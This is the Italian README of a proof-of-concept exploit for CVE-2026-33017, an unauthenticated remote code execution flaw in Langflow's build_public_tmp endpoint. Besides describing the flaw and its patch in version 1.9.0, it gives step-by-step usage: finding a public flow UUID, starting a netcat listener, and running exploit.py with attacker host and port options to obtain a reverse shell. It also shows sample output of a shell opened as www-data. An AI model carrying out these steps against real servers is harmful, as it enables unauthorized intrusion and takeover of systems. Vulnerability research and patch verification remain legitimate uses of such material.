
Exploit PoC per CVE-2026-33017: esecuzione remota di codice senza autenticazione in Langflow tramite iniezione di un Python Custom Component malevolo, con listener di reverse shell integrato.
Autore: dynamo2k1
Gravità: Critica
CVSSv3: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVE-2026-33017 è una vulnerabilità critica di esecuzione di codice in remoto non autenticata in Langflow, una piattaforma open-source per creare visivamente applicazioni LLM e workflow di IA.
L'endpoint vulnerabile build_public_tmp accetta un campo data fornito dall'attaccante nel corpo della richiesta senza autenticazione. Ciò consente a un attaccante di iniettare una definizione di flusso completamente personalizzata contenente un Componente Personalizzato Python malevolo, il cui codice viene eseguito sul server durante il processo di build.
Non sono richieste credenziali. È sufficiente un UUID valido di un flusso pubblico.
| Stato | Versione |
|---|---|
| Vulnerabile | Langflow < 1.9.0 |
| Corretta | Langflow 1.9.0+ |
POST /api/v1/build_public_tmp/{flow_id}/flow
Questo endpoint è progettato per eseguire la build di flussi pubblici (condivisi) senza autenticazione. Nelle versioni vulnerabili, accetta anche un campo data controllato dall'attaccante nel corpo della richiesta, che viene passato direttamente alla logica di build lato server — incluso qualsiasi codice Python incorporato nei Componenti Personalizzati.
pip install requests urllib3
Sfoglia l'istanza Langflow di destinazione e cerca un flusso condiviso/pubblico. L'UUID appare nell'URL:
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
this is the flow-id
nc -lvnp 9001
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001
Oppure usa il listener interattivo integrato (non serve un nc separato):
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001 \
--listen
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522
www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Causa principale: build_public_tmp considerava attendibile il campo data proveniente dal corpo della richiesta, invece di usare esclusivamente la definizione di flusso salvata sul server.
Patch: In Langflow 1.9.0, il parametro data è stato rimosso da build_public_tmp. Le definizioni di flusso esterne non possono più essere iniettate tramite questo endpoint.
Commit della patch: 73b6612
Questo PoC è fornito esclusivamente a scopo educativo e di ricerca di sicurezza autorizzata. Utilizzalo solo su sistemi di tua proprietà o per i quali disponi di un'esplicita autorizzazione scritta al test.
| Flag | Descrizione |
|---|
--url | URL di base di Langflow di destinazione |
--flow-id | UUID del flusso pubblico |
--lhost | Il tuo IP per il callback della reverse shell |
--lport | La porta del tuo listener |
--listen | Usa l'handler di shell integrato invece del nc esterno |
--timeout | Timeout della richiesta HTTP in secondi (default: 30) |